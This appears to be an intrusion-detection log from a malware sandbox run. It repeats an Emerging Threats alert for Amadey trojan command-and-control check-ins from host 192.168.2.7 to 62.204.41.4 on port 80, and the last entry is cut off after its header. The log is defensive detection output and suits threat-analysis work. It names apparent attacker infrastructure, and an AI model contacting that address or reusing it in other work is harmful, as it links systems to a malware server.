Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450122802027700 02/07/23-23:08:56.823302
SID:	2027700
Source Port:	50122
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450278802027700 02/07/23-23:09:39.423463
SID:	2027700
Source Port:	50278
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450022802027700 02/07/23-23:08:30.007207
SID:	2027700
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450313802027700 02/07/23-23:09:48.033865
SID:	2027700
Source Port:	50313
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450200802027700 02/07/23-23:09:18.098931
SID:	2027700
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449760802027700 02/07/23-23:07:17.283372
SID:	2027700
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449765802027700 02/07/23-23:07:19.352231
SID:	2027700
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449902802027700 02/07/23-23:07:55.670942
SID:	2027700
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449984802027700 02/07/23-23:08:20.651522
SID:	2027700
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450176802027700 02/07/23-23:09:12.185200
SID:	2027700
Source Port:	50176
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449701802027700 02/07/23-23:07:03.267557
SID:	2027700
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450415802027700 02/07/23-23:10:12.934992
SID:	2027700
Source Port:	50415
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450476802027700 02/07/23-23:10:29.753559
SID:	2027700
Source Port:	50476
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450320802027700 02/07/23-23:09:49.746312
SID:	2027700
Source Port:	50320
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449786802027700 02/07/23-23:07:25.415635
SID:	2027700
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450448802027700 02/07/23-23:10:22.892315
SID:	2027700
Source Port:	50448
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450053802027700 02/07/23-23:08:39.384369
SID:	2027700
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449829802027700 02/07/23-23:07:35.738938
SID:	2027700
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450219802027700 02/07/23-23:09:22.722186
SID:	2027700
Source Port:	50219
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450071802027700 02/07/23-23:08:43.808188
SID:	2027700
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449930802027700 02/07/23-23:08:05.022671
SID:	2027700
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450148802027700 02/07/23-23:09:03.260796
SID:	2027700
Source Port:	50148
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450025802027700 02/07/23-23:08:30.727717
SID:	2027700
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450221802027700 02/07/23-23:09:23.231201
SID:	2027700
Source Port:	50221
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449885802027700 02/07/23-23:07:51.097832
SID:	2027700
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450043802027700 02/07/23-23:08:36.948526
SID:	2027700
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449857802027700 02/07/23-23:07:44.177016
SID:	2027700
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449987802027700 02/07/23-23:08:21.404063
SID:	2027700
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450453802027700 02/07/23-23:10:24.103441
SID:	2027700
Source Port:	50453
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450101802027700 02/07/23-23:08:51.475051
SID:	2027700
Source Port:	50101
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449831802027700 02/07/23-23:07:36.211398
SID:	2027700
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449834802027700 02/07/23-23:07:37.138339
SID:	2027700
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450450802027700 02/07/23-23:10:23.361477
SID:	2027700
Source Port:	50450
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450015802027700 02/07/23-23:08:28.258645
SID:	2027700
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449923802027700 02/07/23-23:08:03.274770
SID:	2027700
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450272802027700 02/07/23-23:09:37.970566
SID:	2027700
Source Port:	50272
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450349802027700 02/07/23-23:09:56.920228
SID:	2027700
Source Port:	50349
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450183802027700 02/07/23-23:09:13.886211
SID:	2027700
Source Port:	50183
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449803802027700 02/07/23-23:07:29.455829
SID:	2027700
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450275802027700 02/07/23-23:09:38.709285
SID:	2027700
Source Port:	50275
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449758802027700 02/07/23-23:07:16.813665
SID:	2027700
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450377802027700 02/07/23-23:10:03.701999
SID:	2027700
Source Port:	50377
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449977802027700 02/07/23-23:08:18.914835
SID:	2027700
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450028802027700 02/07/23-23:08:31.449239
SID:	2027700
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450117802027700 02/07/23-23:08:55.559827
SID:	2027700
Source Port:	50117
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450247802027700 02/07/23-23:09:31.810490
SID:	2027700
Source Port:	50247
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450425802027700 02/07/23-23:10:15.374875
SID:	2027700
Source Port:	50425
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449806802027700 02/07/23-23:07:30.176072
SID:	2027700
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449888802027700 02/07/23-23:07:51.818185
SID:	2027700
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449694802027700 02/07/23-23:07:00.567051
SID:	2027700
Source Port:	49694
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449949802027700 02/07/23-23:08:09.663718
SID:	2027700
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450081802027700 02/07/23-23:08:46.318733
SID:	2027700
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449783802027700 02/07/23-23:07:24.676198
SID:	2027700
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450199802027700 02/07/23-23:09:17.854664
SID:	2027700
Source Port:	50199
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450314802027700 02/07/23-23:09:48.299454
SID:	2027700
Source Port:	50314
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449924802027700 02/07/23-23:08:03.524088
SID:	2027700
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450252802027700 02/07/23-23:09:32.997462
SID:	2027700
Source Port:	50252
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450350802027700 02/07/23-23:09:57.159011
SID:	2027700
Source Port:	50350
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449789802027700 02/07/23-23:07:26.125135
SID:	2027700
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449887802027700 02/07/23-23:07:51.576053
SID:	2027700
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450347802027700 02/07/23-23:09:56.442076
SID:	2027700
Source Port:	50347
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450445802027700 02/07/23-23:10:22.165070
SID:	2027700
Source Port:	50445
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449980802027700 02/07/23-23:08:19.678959
SID:	2027700
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450409802027700 02/07/23-23:10:11.502083
SID:	2027700
Source Port:	50409
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450089802027700 02/07/23-23:08:48.291498
SID:	2027700
Source Port:	50089
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450244802027700 02/07/23-23:09:31.095485
SID:	2027700
Source Port:	50244
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449957802027700 02/07/23-23:08:11.632559
SID:	2027700
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449703802027700 02/07/23-23:07:03.736813
SID:	2027700
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450031802027700 02/07/23-23:08:32.148800
SID:	2027700
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449862802027700 02/07/23-23:07:45.411368
SID:	2027700
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450440802027700 02/07/23-23:10:20.951914
SID:	2027700
Source Port:	50440
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449792802027700 02/07/23-23:07:26.828357
SID:	2027700
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450179802027700 02/07/23-23:09:12.913891
SID:	2027700
Source Port:	50179
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450084802027700 02/07/23-23:08:47.056885
SID:	2027700
Source Port:	50084
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450126802027700 02/07/23-23:08:57.855567
SID:	2027700
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449756802027700 02/07/23-23:07:16.330637
SID:	2027700
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449993802027700 02/07/23-23:08:22.893784
SID:	2027700
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450159802027700 02/07/23-23:09:05.933299
SID:	2027700
Source Port:	50159
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450076802027700 02/07/23-23:08:45.054389
SID:	2027700
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450257802027700 02/07/23-23:09:34.266479
SID:	2027700
Source Port:	50257
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450232802027700 02/07/23-23:09:25.965511
SID:	2027700
Source Port:	50232
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450113802027700 02/07/23-23:08:54.584710
SID:	2027700
Source Port:	50113
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450367802027700 02/07/23-23:10:01.324979
SID:	2027700
Source Port:	50367
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450465802027700 02/07/23-23:10:27.020474
SID:	2027700
Source Port:	50465
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450195802027700 02/07/23-23:09:16.860331
SID:	2027700
Source Port:	50195
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449867802027700 02/07/23-23:07:46.640725
SID:	2027700
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449818802027700 02/07/23-23:07:33.042482
SID:	2027700
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450330802027700 02/07/23-23:09:52.266544
SID:	2027700
Source Port:	50330
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449960802027700 02/07/23-23:08:12.428217
SID:	2027700
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450146802027700 02/07/23-23:09:02.779773
SID:	2027700
Source Port:	50146
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450359802027700 02/07/23-23:09:59.354061
SID:	2027700
Source Port:	50359
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449776802027700 02/07/23-23:07:23.001075
SID:	2027700
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450011802027700 02/07/23-23:08:27.300770
SID:	2027700
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450432802027700 02/07/23-23:10:18.991989
SID:	2027700
Source Port:	50432
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449854802027700 02/07/23-23:07:43.442984
SID:	2027700
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450182802027700 02/07/23-23:09:13.649408
SID:	2027700
Source Port:	50182
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450478802027700 02/07/23-23:10:30.234168
SID:	2027700
Source Port:	50478
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449937802027700 02/07/23-23:08:06.728827
SID:	2027700
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450265802027700 02/07/23-23:09:36.236425
SID:	2027700
Source Port:	50265
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449805802027700 02/07/23-23:07:29.940054
SID:	2027700
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449716802027700 02/07/23-23:07:06.915416
SID:	2027700
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450096802027700 02/07/23-23:08:49.987228
SID:	2027700
Source Port:	50096
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450390802027700 02/07/23-23:10:06.856141
SID:	2027700
Source Port:	50390
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450166802027700 02/07/23-23:09:08.121536
SID:	2027700
Source Port:	50166
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449743802027700 02/07/23-23:07:13.457751
SID:	2027700
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

